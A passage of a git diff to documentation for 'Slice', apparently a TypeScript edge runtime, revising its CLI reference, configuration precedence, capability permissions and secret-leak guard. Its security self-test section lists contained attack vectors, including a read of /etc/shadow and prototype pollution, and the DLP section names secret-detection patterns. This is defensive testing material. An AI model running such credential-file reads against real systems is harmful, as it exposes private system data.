checks, static type validation, linting, and code formatting in your IDE or CI pipeline: ```bash +# Instant native Oxc syntax check without executing code: +slice check ./src/index.ts + # Type-check against slice.d.ts and tsconfig.json: npx tsc --noEmit @@ -144,16 +149,22 @@ npx oxlint ./src npx @biomejs/biome check --write ./src ``` -### Step 2: Run Your TypeScript Code (`slice run`) -You can run the project directory directly (Slice automatically reads `slice.toml`), or pass a specific `.ts` file: +### Step 2: Run Your TypeScript Code (`slice run`, `-e` / `-p`, & Stdin) +You can run the project directory directly (Slice automatically reads `slice.toml`), pass a specific `.ts` file, evaluate inline TypeScript snippets, or pipe from `stdin`: ```bash slice run # Or with microsecond execution telemetry and pre-warmed realm pool: slice run --warm --metrics -``` -You can also use the shorthand `slice `: -```bash -slice ./src/index.ts + +# Shorthand file execution & forwarding CLI arguments to process.argv via `--`: +slice ./src/index.ts -- --region=us-east-1 + +# Inline evaluation (-e / --eval) and print expression result (-p / --print): +slice -e 'const x: number = 21 * 2; console.log(x);' +slice -p '({ runtime: "slice", version: process.version })' + +# Execute TypeScript piped over stdin (`slice -` or `slice run -`): +echo 'console.log(2 + 2)' | slice - ``` ### Step 3: Live Development with `< 3 ms` Reloads (`slice run --watch`) @@ -193,30 +204,30 @@ slice compile . -o ./hello-slice-app --- -## 5. Unified 4-Layer Configuration System (`slice.toml`, Inline Directives, `SLICE_*` Env Vars, & CLI Flags) +## 5. Unified Configuration Precedence (`slice.toml`, Inline Directives, `SLICE_*` Env Vars, & CLI Flags) -By default, Slice runs on its **optimal execution path (`Tier 1`, `boacas = true` `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS)** with zero configuration required. When you want to customize engine behavior, resource limits, Object-Capability (`OCap`) permissions, or HTTP server settings, Slice resolves settings across **five well-defined precedence layers** (lowest to highest priority): +By default, Slice runs on its **optimal execution path (`Tier 1`, `boacas = true` `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS)** with zero configuration required. When you customize engine behavior, resource limits, Object-Capability (`OCap`) permissions, or HTTP server settings, Slice resolves settings across **five ordered precedence layers** (`Defaults < slice.toml < // @slice-* inline directives < SLICE_* env vars < CLI flags`): ```text 1. Built-In Optimal Defaults (`tier = "tier1"`, `boacas = true`, `fuel = 50_000_000`, `memory = 16 MB`, `trust_directives = false`, zero ambient OCap) | v -2. Project Manifest (`./slice.toml`, target folder `slice.toml`, or `.cas` embedded `manifest:/slice.toml`) +2. Project Manifest (`./slice.toml`, target folder `slice.toml`, or `.cas` embedded `manifest:/slice.toml`; note: `SliceManifest` defaults `memory_kb` to `4096 KB` if `[limits] memory_kb` is omitted in `slice.toml`) | v -3. Top-of-File Inline Source Directives (`// @slice-...` — monotonically attenuated by default; full additive authority only when `--trust-directives` / `SLICE_TRUST_DIRECTIVES=1` / `[capabilities] trust_directives = true` is set) +3. Top-of-File Inline Source Directives (`// @slice-...` - monotonically attenuated by default; full additive authority only when `--trust-directives` / `SLICE_TRUST_DIRECTIVES=1` / `[capabilities] trust_directives = true` is set) | v -4. Host Environment Variables (`SLICE_TIER`, `SLICE_BOACAS`, `SLICE_FUEL`, `SLICE_ALLOW_READ`, `SLICE_TRUST_DIRECTIVES`, `SLICE_PORT`, ...) +4. Host Environment Variables (`SLICE_TIER`, `SLICE_BOACAS`, `SLICE_FUEL`, `SLICE_ALLOW_READ`, `SLICE_ALLOW_EXEC`, `SLICE_TRUST_DIRECTIVES`, `SLICE_PORT`, `SLICE_TRACE`, ...) | v -5. Explicit CLI Flags (`--tier=`, `--boacas` / `--no-boacas`, `--fuel=`, `--memory=`, `--allow-read=`, `--trust-directives` / `--no-directives`, `--port=`, ...) +5. Explicit CLI Flags (`--tier=`, `--boacas` / `--no-boacas`, `--fuel=`, `--memory=`, `--allow-read=`, `--allow-exec=`, `--trust-directives` / `--no-directives`, `--port=`, `--trace=`, ...) ``` -> **Capability Merging, Scalar Overrides, & Untrusted Script Privilege-Escalation Guard:** -> - **Scalar settings** (`tier`, `boacas`, `warm`, `deterministic_seed`, `fuel`, `memory`, `port`, `workers`, `static_dir`) follow strict override precedence across trusted host layers (`slice.toml`, `SLICE_*` env vars, CLI flags). -> - **OCap permissions and DLP secrets** (`allow_read`, `allow_write`, `allow_net`, `allow_env`, `env_file`, `audit_egress`) are **additive** across trusted host layers (`slice.toml`, `SLICE_*` env vars, CLI flags). -> - **Untrusted Entrypoint Lockdown (`trust_directives = false` by default):** By default, top-of-file inline source directives (`// @slice-...`) inside a `.ts`/`.js` script can **only monotonically attenuate (narrow)** capabilities and resource limits already granted by the host (`slice.toml`, `SLICE_*` env vars, or CLI flags), and `// @slice-audit-egress` remains always-additive. An untrusted or AI-generated script can **never** self-grant new filesystem paths, network hosts, `.env` files, or higher fuel/memory ceilings unless the host explicitly opts in via `--trust-directives`, `SLICE_TRUST_DIRECTIVES=1`, or `[capabilities] trust_directives = true` in `slice.toml`. Passing `--no-directives` (or `--untrusted`) ignores inline directives completely. +> **Capability Merging, Memory Defaults, & Untrusted Script Privilege-Escalation Guard:** +> - **Scalar settings** (`tier`, `boacas`, `warm`, `deterministic_seed`, `fuel`, `memory`, `port`, `workers`, `static_dir`, `tls_cert`, `tls_key`) follow strict override precedence (`Defaults < slice.toml < // @slice-* < SLICE_* env vars < CLI flags`). When no `slice.toml` is present, the CLI default memory ceiling is `16 MB` (`16,384 KB`); when a `slice.toml` file is loaded, `SliceManifest` defaults `memory_kb` to `4096 KB` (`4 MB`) unless `[limits] memory_kb` (or `memory_mb` / `memory_bytes`) is specified (`slice init` scaffolds `memory_kb = 16384`). +> - **OCap permissions and DLP secrets** (`allow_read`, `allow_write`, `allow_net`, `allow_exec`, `allow_env`, `env_file`, `audit_egress`) are **additive** across trusted host layers (`slice.toml`, `SLICE_*` env vars, CLI flags). +> - **Untrusted Entrypoint Lockdown (`trust_directives = false` by default):** By default, top-of-file inline source directives (`// @slice-...`) inside a `.ts`/`.js` script can **only monotonically attenuate (narrow)** capabilities and resource limits already granted by the host (`slice.toml`, `SLICE_*` env vars, or CLI flags), and `// @slice-audit-egress` remains always-additive. An untrusted or AI-generated script can **never** self-grant new filesystem paths, network hosts, subprocess binaries, `.env` files, or higher fuel/memory ceilings unless the host explicitly opts in via `--trust-directives`, `SLICE_TRUST_DIRECTIVES=1`, or `[capabilities] trust_directives = true` in `slice.toml`. Passing `--no-directives` (or `--untrusted`) ignores inline directives completely. --- @@ -266,10 +277,14 @@ allow_write = ["/tmp"] # Use ["*"] to allow all public hosts (Cloud Metadata 169.254.169.254 and RFC1918 private IPs remain blocked!). allow_net = ["api.stripe.com:443", "127.0.0.1:18095"] -# Allowed subprocess binaries for node:child_process (`ExecCap` — Deny-All by default). +# Allowed subprocess binaries for node:child_process (`ExecCap` - Deny-All by default). # Child processes receive ONLY tenant-attenuated environment variables and their stdout/stderr are scanned by Egress DLP. allow_exec = ["/usr/bin/git", "/bin/echo"] +# Optional guest checkpoint controls (default: allow_checkpoints = true, max_checkpoints = 64). +# allow_checkpoints = true +# max_checkpoints = 16 + # Optional .env file loaded automatically into process.env and env(). # Any key matching *_SECRET*, *_TOKEN*, *_KEY*, *_PASSWORD*, or *_PRIVATE* # (except PUBLIC_KEY / PUBLISHABLE_KEY) is automatically registered into the Egress DLP guard! @@ -338,14 +353,15 @@ console.log("Running with self-contained inline directives!"); | **Warm Realm Pool** | `false` (`true` in `serve`) | `[engine] warm = true` | `// @slice-warm: true` | `SLICE_WARM=1` | `--warm` / `--no-warm` | | **Deterministic Seed** | Disabled (`None`) | `[engine] deterministic_seed = 42` | `// @slice-deterministic: 42` | `SLICE_DETERMINISTIC_SEED=42` | `--deterministic[=42]` / `--no-deterministic` | | **CPU Fuel Limit** | `50_000_000` | `[limits] fuel = 50_000_000` | `// @slice-fuel: 50_000_000` | `SLICE_FUEL=50000000` | `--fuel=50000000` | -| **Memory Cage** | `16 MB` (`16384 KB`) | `[limits] memory_kb = 16384` (`memory_mb`) | `// @slice-memory-kb: 16384` (`memory-mb`) | `SLICE_MEMORY_KB=16384` (`SLICE_MEMORY`) | `--memory=16777216` / `--memory-kb=16384` | +| **Memory Cage** | `16 MB` CLI (`4096 KB` in bare `SliceManifest`) | `[limits] memory_kb = 16384` (`memory_mb`) | `// @slice-memory-kb: 16384` (`memory-mb`) | `SLICE_MEMORY_KB=16384` (`SLICE_MEMORY`) | `--memory=16777216` / `--memory-kb=16384` | | **VFS Read Prefixes** | `[]` (Zero access) | `[capabilities] allow_read = [...]` | `// @slice-allow-read: ["/tmp"]` | `SLICE_ALLOW_READ=/tmp,./data` | `--allow-read=/tmp` | | **VFS Write Prefixes** | `[]` (Zero access) | `[capabilities] allow_write = [...]` | `// @slice-allow-write: ["/tmp"]` | `SLICE_ALLOW_WRITE=/tmp` | `--allow-write=/tmp` | | **Network Hosts** | `[]` (Zero access) | `[capabilities] allow_net = [...]` | `// @slice-allow-net: ["host:443"]` | `SLICE_ALLOW_NET=host:443` | `--allow-net=host:443` | | **Exec Binaries (`ExecCap`)** | `[]` (Deny-All) | `[capabilities] allow_exec = [...]` | `// @slice-allow-exec: ["/usr/bin/git"]` | `SLICE_ALLOW_EXEC=/usr/bin/git` | `--allow-exec=/usr/bin/git` | +| **Guest Checkpoints** | `true` (`max = 64`) | `[capabilities] allow_checkpoints` / `max_checkpoints` | `// @slice-checkpoints: false` / `// @slice-max-checkpoints: 8` | `SLICE_CHECKPOINTS=0` / `SLICE_MAX_CHECKPOINTS=8` | `--no-checkpoints` / `--max-checkpoints=8` | | **Env Variables** | `{}` (Zero access) | `[capabilities.env] KEY = "VAL"` | `// @slice-allow-env: ["KEY=VAL"]` | `SLICE_ALLOW_ENV=KEY=VAL` | `--allow-env=KEY=VAL` | | **Dotenv Vault File** | `None` | `[capabilities] env_file = ".env"` | `// @slice-env-file: .env` | `SLICE_ENV_FILE=.env` | `--env-file=.env` | -| **Egress DLP Secrets** | Auto from `.env` | `[capabilities] audit_egress = [...]` | `// @slice-audit-egress: ["sec"]` | `SLICE_AUDIT_EGRESS=sec1,sec2` | `--audit-egress=sec1` | +| **Egress DLP Secrets** | Auto from `.env` | `[capabilities] audit_egress = [...]` | `// @slice-audit-egress: ["sec"]` | `SLICE_AUDIT_EGRESS=sec1,sec2` | `--audit-egress=sec1` / `--audit-egress-file=path` | | **Trust Inline Directives** | `false` (Attenuate only) | `[capabilities] trust_directives = true` | *(Host-only setting)* | `SLICE_TRUST_DIRECTIVES=1` (`0`) | `--trust-directives` / `--no-directives` | | **HTTP Server Port** | `3000` | `[server] port = 3000` | `// @slice-port: 3000` | `SLICE_PORT=3000` | `--port=3000` | | **HTTP Worker Threads** | `clamp(cpus, 1, 8)` | `[server] workers = 4` | `// @slice-workers: 4` | `SLICE_WORKERS=4` | `--workers=4` | @@ -365,28 +381,36 @@ In Slice, when you pass `--env-file=.env` (or set `env_file = ".env"` in `slice. 1. **Standard `.env` Syntax Support:** Supports `KEY=VALUE`, `export KEY="VALUE"`, single-quoted `'VALUE'`, double-quoted `"VALUE"` (with `\n`, `\r`, `\t`, `\"` unescaping), and inline `# comments`. 2. **Accessible via `process.env` and `env()`:** All loaded variables are available in `process.env.KEY` (and injected as the second parameter `fetch(req, env, ctx)` in `slice serve`), as well as via the global `env("KEY")` function. 3. **Automatic Egress DLP Registration:** Any `.env` key whose name contains `SECRET`, `TOKEN`, `KEY`, `PASSWORD`, or `PRIVATE` (excluding `PUBLIC_KEY` and `PUBLISHABLE_KEY`) with a value at least 6 characters long is **automatically registered into Slice's Egress DLP firewall**: - - If your code (or a third-party dependency) tries to print that secret to `stdout`, return it in an HTTP response, or send it in an outbound `fetch()` URL, header, or body — in **plaintext**, **Base64**, or **Base64URL** — Slice blocks the leak and traps with `EGRESS_SECRET_LEAK_BLOCKED`! + - If your code (or a third-party dependency) tries to print that secret to `stdout`, return it in an HTTP response, or send it in an outbound `fetch()` URL, header, or body - in **plaintext**, **Base64**, or **Base64URL** - Slice blocks the leak and traps with `EGRESS_SECRET_LEAK_BLOCKED`! --- -## 7. Complete CLI Reference (All 13 Subcommands) +## 7. Complete CLI Reference (All 14 Subcommands) -### 7.1 `slice init [dir]` -Scaffolds a new TypeScript edge project containing `slice.toml` and `src/index.ts`. +### 7.1 `slice init [dir] [--template=sveltekit]` +Scaffolds a new TypeScript edge project (`slice.toml`, `slice.d.ts`, `tsconfig.json`, and `src/index.ts`) or a full-stack **SvelteKit 3 + Svelte 5 SSR** application (including `adapter-slice.js`, `svelte.config.js`, `vite.config.js`, `+page.svelte`, `+page.server.js`, and `+server.js`). ```bash +# Default TypeScript Edge project: slice init ./my-service + +# Full-stack SvelteKit 3 + Svelte 5 SSR template: +slice init ./my-sveltekit-app --template=sveltekit ``` --- -### 7.2 `slice run [target] [flags]` -Executes a `.ts`/`.js` file, a project folder (with `package.json`, `slice.toml`, or `src/index.ts` + `node_modules/`), or a pre-packed `.cas` archive. If `[target]` is omitted, executes `entrypoint` from `./slice.toml`. +### 7.2 `slice run [target | -] [flags] [-- ]` +Executes a `.ts`/`.tsx`/`.js`/`.jsx` file, a project folder (with `package.json`, `slice.toml`, or `src/index.ts` + `node_modules/`), a pre-packed `.cas` archive, piped `stdin` (`slice -` or `slice run -`), or an inline code snippet (`-e` / `-p`). If `[target]` is omitted, executes `entrypoint` from `./slice.toml` (or reads from `stdin` when `stdin` is piped). Top-level shorthands (`slice `, `slice -e `, `slice -p `, `slice -`) route directly to `slice run`. | Flag | Description | | :--- | :--- | +| `-e ` / `--eval=` | Compile and evaluate an inline TypeScript/JavaScript snippet directly from the command line. | +| `-p ` / `--print=` | Evaluate an inline TypeScript/JavaScript snippet and print the final expression value (or JSON object) to `stdout`. | +| `-` | Read TypeScript/JavaScript source from piped `stdin` (`cat app.ts \| slice -` or `slice run -`). | +| `-- ` | Forward all remaining arguments directly into `process.argv` inside the guest isolate without parsing them as Slice flags. | | `--allow-read=` | Grant read access to paths starting with `` (comma-separated or repeatable). | | `--allow-write=` | Grant write/append/mkdir/unlink access to paths starting with ``. | -| `--allow-net=` | Grant outbound `fetch()` network access to `` (or `*` for public internet). | +| `--allow-net=` | Grant outbound `fetch()` / socket access to `` (or `*` for public internet). | | `--allow-exec=` | Grant `node:child_process` execution authority (`ExecCap`) for `` (comma-separated or repeatable; Deny-All by default). | | `--allow-env=` | Inject `KEY=VAL` (or import `KEY` from host environment) into the isolate. | | `--env-file=` | Load `.env` file into `process.env` / `env()` with automatic Egress DLP secret protection. | @@ -396,14 +420,14 @@ Executes a `.ts`/`.js` file, a project folder (with `package.json`, `slice.toml` | `--trust-directives` / `--no-trust-directives` | Allow (or forbid, default) top-of-file `// @slice-...` directives to grant additive OCap permissions and raise resource ceilings. | | `--no-directives` / `--untrusted` | Completely ignore all top-of-file `// @slice-...` inline source directives in the entrypoint. | | `--fuel=` | Set maximum CPU instruction fuel budget (default: `50,000,000`). | -| `--memory=` / `--memory-kb=` | Set maximum per-isolate memory ceiling in bytes or kilobytes (default: `16,777,216` bytes / `16,384` KB). | +| `--memory=` / `--memory-kb=` | Set maximum per-isolate memory ceiling in bytes or kilobytes (default: `16,777,216` bytes / `16,384` KB when no `slice.toml` is present). | | `--tier=` | Override execution tier (`tier1` default, `tier0` for SLICESNP snapshot VM, or `auto`). | | `--boacas` / `--no-boacas` | Enable (default) or disable Precompiled Boa `CodeBlock` (`SLICEBC\x01`) bytecode execution. | | `--warm` / `--no-warm` | Pre-warm the thread-local `BOA_CONTEXT_POOL` and `__slice_rc` bundle closure before measurement. | -| `--trace=` | Export a Chrome DevTools / Perfetto (`ui.perfetto.dev`) execution timeline (`traceEvents`) with instantiate, execute, checkpoint, restore, and nested sandbox spans. | +| `--trace=` | Export a Chrome DevTools / Perfetto (`ui.perfetto.dev`) execution timeline (`traceEvents`) (`SLICE_TRACE`). | | `--watch` | Watch source files (`src/`, `slice.toml`, `.env`) and live-reload in `< 3 ms` on save. | | `--watch-once` | Run once, wait for a single file modification, re-execute in `< 3 ms`, and exit (ideal for CI/scripts). | -| `--deterministic[=]` | Enable deterministic `Math.random()`, `Date.now()`, `performance.now()`, and `fetch()` cassette replay (default seed: `42`). | +| `--deterministic[=]` / `--no-deterministic` | Enable or disable deterministic `Math.random()`, `Date.now()`, `performance.now()`, and `fetch()` cassette replay (default seed: `42`). | | `--metrics` | Print microsecond instantiation, execution, total time, tier, memory bytes, and `stat` syscall count. | | `--quiet` / `-q` | Suppress script `stdout` output (useful when benchmarking with `--metrics`). | @@ -412,8 +436,11 @@ Executes a `.ts`/`.js` file, a project folder (with `package.json`, `slice.toml` # Run a TypeScript file with explicit read/net permissions and .env file slice run ./src/worker.ts --env-file=.env --allow-read=./data --allow-net=api.github.com:443 -# Run an entire folder application with warm pool telemetry -slice run ./tests/apps/02-npm-ecosystem-suite --warm --metrics +# Evaluate an inline TypeScript expression and print its result +slice -p 'const nums: number[] = [10, 20, 30]; nums.reduce((a, b) => a + b, 0)' + +# Forward custom flags to process.argv after `--` +slice run ./src/cli.ts -- --input=report.csv --dry-run # Live development mode with automatic < 3 ms rebuilds on save slice run ./src/index.ts --watch --metrics @@ -421,20 +448,35 @@ slice run ./src/index.ts --watch --metrics --- -### 7.3 `slice test [target] [flags]` -Runs Slice's built-in **Time-Travel Test Runner** (`"slice:test"` / `"node:test"` / `"bun:test"`). Automatically discovers all `*.test.ts`, `*.spec.ts`, `*.test.js`, and `*.spec.js` files in `[target]` (defaulting to `.`) or runs a single test file. +### 7.3 `slice check ` (or `slice --check` / `slice -c`) +Parses and syntax-checks TypeScript, TSX, JavaScript, JSX, `.cas` archives, inline `-e`/`-p` snippets, or piped `stdin` (`-`) using Oxc without executing any guest code. Exits with code `0` if valid or `1` with source-mapped syntax diagnostics if invalid. +```bash +slice check ./src/index.ts +slice -c -e 'const broken: number = ;' +cat ./src/worker.ts | slice check - +``` + +--- + +### 7.4 `slice test [target] [flags]` +Runs Slice's built-in **Time-Travel Test Runner** (`"slice:test"` / `"node:test"` / `"bun:test"`). Automatically discovers all `*.test.ts`, `*.spec.ts`, `*_test.ts`, `*.test.tsx`, `*.spec.tsx`, `*.test.js`, and `*.spec.js` files in `[target]` (defaulting to `.`) or runs a single test file. Before every `test(...)` / `it(...)` block, Slice takes a `< 5 us` VFS (`node:fs`) + `Slice.kv` snapshot and restores it in `finally`, guaranteeing zero state leakage between tests. | Flag | Description | | :--- | :--- | | `--filter=` | Only run tests whose `"Suite > Test Name"` contains ``. | -| `--deterministic[=]` | Run all tests with a deterministic PRNG and virtual clock (default seed: `20261024`). | +| `--deterministic[=]` | Run all tests with a deterministic PRNG and virtual clock (enabled by default with seed `20261024`). | +| `--no-deterministic` | Disable the default deterministic PRNG and virtual clock during test runs. | +| `--watch` | Watch project files and re-run the test suite automatically in milliseconds on save. | +| `--watch-once` | Run the test suite once, wait for a single file change, re-run, and exit. | | `--env-file=` | Load `.env` variables and auto-register secrets into the Egress DLP guard. | -| `--allow-read=` | Grant additional read prefixes (defaults to allowing `/tmp` and system temp dir). | -| `--allow-write=` | Grant additional write prefixes (defaults to allowing `/tmp` and system temp dir). | -| `--allow-net=` | Grant outbound network hosts during tests. | -| `--fuel=` | Override fuel limit per test file. | -| `--memory=` | Override memory limit per test file. | +| `--allow-read=` / `--allow-write=` | Grant additional VFS read/write prefixes. | +| `--allow-net=` / `--allow-exec=` | Grant outbound network hosts or `ExecCap` subprocess binaries during tests. | +| `--audit-egress=` / `--audit-egress-file=` | Register secrets into the Egress DLP guard during tests. | +| `--no-checkpoints` / `--max-checkpoints=` | Configure guest checkpoint limits for nested sandboxes under test. | +| `--trust-directives` / `--no-directives` | Control how top-of-file `// @slice-*` directives in test files are applied. | +| `--fuel=` / `--memory=` | Override fuel or memory ceiling per test file. | +| `--trace=` | Export Chrome DevTools / Perfetto trace spans for the test run. | | `--json` | Output a machine-readable JSON test report (`files`, `total`, `passed`, `failed`, `skipped`, `checkpointsRestored`). | **Examples:** @@ -442,17 +484,18 @@ Before every `test(...)` / `it(...)` block, Slice takes a `< 5 us` VFS (`node:fs # Run all discovered *.test.ts and *.spec.ts files in the project slice test -# Filter tests by name and run with a fixed deterministic seed -slice test ./tests/state_machine.test.ts --filter="rollback" --deterministic=20261024 +# Live test watcher or real wall-clock mode +slice test --watch +slice test --no-deterministic -# Emit JSON report for CI pipelines -slice test --json +# Filter tests by name and emit JSON report for CI pipelines +slice test ./tests/state_machine.test.ts --filter="rollback" --json ``` --- -### 7.4 `slice serve [target] [flags]` -Launches the multi-tenant WinterTC HTTP/1.1 `Keep-Alive` and pipelined MicroVM web server (`163,766 req/s` Tier-0 CAS, `126,566 req/s` Tier-1 WinterTC). +### 7.5 `slice serve [target] [flags]` +Launches the multi-tenant WinterTC HTTP/1.1 `Keep-Alive`, TLS 1.3, SSE, and WebSocket MicroVM server. See [`tests/reports/latest.md`](../../tests/reports/latest.md) for live multi-worker HTTP/1.1 Keep-Alive throughput benchmarks against `Bun.serve`, `Deno.serve`, and `Node.js`. | Flag | Description | | :--- | :--- | @@ -462,9 +505,12 @@ Launches the multi-tenant WinterTC HTTP/1.1 `Keep-Alive` and pipelined MicroVM w | `--tls-cert=` | PEM certificate chain path for native `rustls` TLS 1.3 termination (`[server] tls_cert` / `SLICE_TLS_CERT`). | | `--tls-key=` | PEM private key path for native `rustls` TLS 1.3 termination (`[server] tls_key` / `SLICE_TLS_KEY`). | | `--tenant-dir=` | Dynamically route `X-Slice-Tenant: ` or `/t//...` to `/.cas` with zero-downtime live hot-swapping. | +| `--allow-read` / `--allow-write` / `--allow-net` / `--allow-exec` / `--allow-env` | Grant OCap permissions to served request isolates. | | `--env-file=` | Load `.env` variables and register sensitive keys into the Egress DLP guard. | -| `--audit-egress=` | Scan all HTTP responses, SSE streams, and outbound `fetch()` calls for raw/Base64 leaks of ``. | -| `--deterministic[=]` | Enable deterministic PRNG, virtual clock, and `fetch()` cassette replay across served requests. | +| `--audit-egress=` / `--audit-egress-file=` | Scan all HTTP responses, SSE streams, WebSocket frames, and outbound `fetch()` calls for raw/Base64/Base64URL secret leaks. | +| `--no-checkpoints` / `--max-checkpoints=` | Disable or bound guest `Slice.checkpoint()` calls per HTTP request. | +| `--trust-directives` / `--no-directives` | Control top-of-file `// @slice-*` directive handling for the served entrypoint. | +| `--deterministic[=]` / `--no-deterministic` | Enable or disable deterministic PRNG, virtual clock, and `fetch()` cassette replay across served requests. | | `--tier=` | Override execution tier across HTTP worker threads. | | `--boacas` / `--no-boacas` | Enable (default) or disable Precompiled Boa `CodeBlock` (`SLICEBC\x01`) bytecode execution. | | `--max-requests=` | Exit cleanly after serving `` requests (ideal for automated load tests). | @@ -475,6 +521,9 @@ Launches the multi-tenant WinterTC HTTP/1.1 `Keep-Alive` and pipelined MicroVM w # Serve a full-stack TypeScript app + ./public static assets on port 8080 across 8 workers slice serve ./src/server.ts --static=./public --port=8080 --workers=8 --env-file=.env +# Serve over native TLS 1.3 +slice serve ./src/server.ts --port=8443 --tls-cert=./certs/fullchain.pem --tls-key=./certs/privkey.pem + # Serve a multi-tenant directory of .cas bundles with zero-downtime hot-swapping slice serve --port=3000 --workers=8 --tenant-dir=./tenants @@ -484,7 +533,7 @@ slice serve ./src/server.ts --smoke-test --- -### 7.5 `slice pack [flags]` +### 7.6 `slice pack [flags]` Compiles TypeScript via Oxc, bundles transitive ESM/CommonJS/JSON modules from `src/` and `node_modules/`, tree-shakes unused barrel submodules, ahead-of-time compiles top-level scripts into **`SLICEBC\x01` Precompiled Boa `CodeBlock`** bytecode (with Oxc AST deferred function module spans and pre-fused `node:*` built-in bindings), optionally embeds `--static` web assets and `slice.toml`, and writes a 64-byte cache-line aligned BLAKE3 `.cas` archive. | Flag | Description | @@ -501,7 +550,7 @@ slice pack ./my-fullstack-app ./production.cas --static=./public --- -### 7.6 `slice compile [-o ] [flags]` +### 7.7 `slice compile [-o ] [flags]` Embeds a `.ts` script, folder application (including `node_modules/` and `slice.toml`), or `.cas` archive directly into a standalone, zero-dependency native executable (`SLICEEXE` format) with `SLICEBC\x01` Precompiled Boa `CodeBlock` bytecode enabled by default. | Flag | Description | @@ -519,7 +568,7 @@ slice compile ./tests/apps/01-fintech-checkout -o ./fintech-service --- -### 7.7 `slice inspect ` +### 7.8 `slice inspect ` Inspects the internal structure of any `.cas` archive, `.ts`/`.js` script, or project folder: - For `.cas` archives: Prints the CAS format version, entrypoint hash, embedded static asset count, and every module's BLAKE3 hash, 64-byte aligned byte offset, source size, and bytecode size, followed by the bytecode disassembly. - For `.ts`/`.js` files or folders: Compiles the source and disassembles the resulting `SLICEBC\x01` (`BOACAS_PRECOMP`), `SLICESNP` (`CONST_NUM`, `MONO_FOR_T2`, `EXPORT_SYM`), or `SLICEBOA` bundle payload. @@ -531,22 +580,21 @@ slice inspect ./src/index.ts --- -### 7.8 `slice repl` +### 7.9 `slice repl` Launches an interactive **SES-Locked TypeScript/JavaScript Compartment Shell** where you can test expressions, inspect fuel and memory consumption in real time, and verify Object-Capability permissions. | REPL Command | Description | | :--- | :--- | -| `:help` / `.help` | Show available REPL meta-commands. | +| `:help` / `:h` / `.help` / `help` | Show available REPL meta-commands. | | `:metrics` | Display current Execution Tier, CPU Fuel (`consumed/limit`), Memory (`used/limit`), and Hardware `PKEY`. | -| `:caps` | Display active `CapabilityToken` (`allow_read`, `allow_write`, `allow_net`, `allow_env`) loaded from `./slice.toml`. | +| `:caps` | Display active `CapabilityToken` (`allow_read`, `allow_write`, `allow_net`, `allow_exec`, `allow_env`) loaded from `./slice.toml`. | | `:reset` / `.clear` | Reset the compartment state, SES intrinsics, and fuel counter to a clean slate. | -| `:quit` / `:q` / `.exit` | Exit the interactive shell. | +| `:quit` / `:q` / `:exit` / `.exit` / `.quit` | Exit the interactive shell. | **Example REPL Session:** ```text $ slice repl Slice (Nexus-JS) v0.10.12 Interactive SES-Locked Compartment Shell -Commands: :help, :metrics, :caps, :vars, :reset, :quit slice(ses)> const price: number = 250 * 4; => 1000 slice(ses)> fib(20) @@ -562,7 +610,7 @@ slice(ses)> :quit --- -### 7.9 `slice mcp [flags]` +### 7.10 `slice mcp [flags]` Starts the built-in **JSON-RPC 2.0 Model Context Protocol (`2024-11-05`)** server over `stdin`/`stdout` for AI coding assistants (Claude Code, Cursor, custom LLM agents). Exposes `slice_eval_ts`, `slice_kv_get`, `slice_kv_set`, and `slice_checkpoint`. | Flag | Description | @@ -570,17 +618,19 @@ Starts the built-in **JSON-RPC 2.0 Model Context Protocol (`2024-11-05`)** serve | `--allow-read=` | Grant VFS read prefix to the MCP host compartment. | | `--allow-write=` | Grant VFS write prefix to the MCP host compartment. | | `--allow-net=` | Grant outbound network host to the MCP host compartment. | -| `--audit-egress=` | Block raw, Base64, or Base64URL exfiltration of `` across all MCP tool calls. | +| `--allow-exec=` | Grant `ExecCap` binary execution authority to the MCP host compartment. | +| `--audit-egress=` / `--audit-egress-file=` | Block raw, Base64, or Base64URL exfiltration of secrets across all MCP tool calls. | +| `--no-checkpoints` / `--max-checkpoints=` | Configure guest checkpoint limits for `slice_eval_ts` calls. | | `--smoke-test` | Run a 6-step JSON-RPC 2.0 self-test (`initialize`, `tools/list`, `slice_eval_ts`, `slice_kv_set`, `slice_kv_get`, `slice_checkpoint`) and exit. | --- -### 7.10 `slice doctor` +### 7.11 `slice doctor` Runs a comprehensive diagnostic check of your OS kernel completion ring (`io_uring` / `IOCP`), registered fixed slab buffers, hardware `MPK/PKU` status, CAS 64-byte cache-line alignment, pre-warmed `Boa` pool, process RSS, and 5-vector OCap/SES security containment. --- -### 7.11 `slice verify-security` +### 7.12 `slice verify-security` Executes all 5 multi-tenant attack vectors against live `SliceIsolate` compartments and verifies 100% deterministic containment: 1. **Vector 1:** SES Intrinsic Lockdown (`Object.prototype.polluted = true`) -> Blocked (`IntrinsicMutationBlocked`) 2. **Vector 2:** OCap VFS Token (`fs.readFileSync("/etc/shadow")`) -> Blocked (`FsReadDenied`) @@ -590,15 +640,15 @@ Executes all 5 multi-tenant attack vectors against live `SliceIsolate` compartme --- -### 7.12 `slice microvm-bench [--tenants=1000] [--json]` +### 7.13 `slice microvm-bench [--tenants=1000] [--json]` Spawns `N` isolated tenant compartments (`default: 1000`) in a single process and benchmarks: -- Min / P50 / P99 isolate cold-start latency (`0.98 us` min on Linux `x86_64`) -- Total 1,000-tenant swarm boot time (`1.26 ms`) and per-tenant memory footprint (`4,096 B`) +- Min / P50 / P99 isolate cold-start latency (`~1 us` P50 on Linux `x86_64`) +- Total 1,000-tenant swarm boot + execution time and per-tenant memory footprint (`4,096 B` per tenant; see [`tests/reports/latest.md`](../../tests/reports/latest.md) for live numbers) - 500-module Zero-Stat CAS graph resolution (`0` OS `stat()` syscalls) - 10,000 kernel completion ring operations - Tier-2 `Fib(40)` + `10M` numeric loop compute kernel --- -### 7.13 `slice info` (or `slice --version` / `slice -v`) +### 7.14 `slice info` (or `slice --version` / `slice -v`) Prints the Slice version, host OS/architecture, active I/O completion engine, CAS version, compiler pipeline, and security architecture summary. diff --git a/docs/general/02_execution_engine_and_tiers.md b/docs/general/02_execution_engine_and_tiers.md index 485aa60..6dae9ed 100644 --- a/docs/general/02_execution_engine_and_tiers.md +++ b/docs/general/02_execution_engine_and_tiers.md @@ -1,6 +1,6 @@ # Chapter 02: Writing TypeScript & JavaScript for Maximum Performance -In Node.js, Deno, and Bun, TypeScript type annotations (`: number`, `interface Order { ... }`) are simply erased before your code runs — they do nothing to make your program faster at runtime. +In Node.js, Deno, and Bun, TypeScript type annotations (`: number`, `interface Order { ... }`) are simply erased before your code runs - they do nothing to make your program faster at runtime. In **Slice**, TypeScript is a first-class performance tool. Before Slice's Oxc compiler strips your TypeScript types, it analyzes your `: number` variables and `interface` definitions to unlock 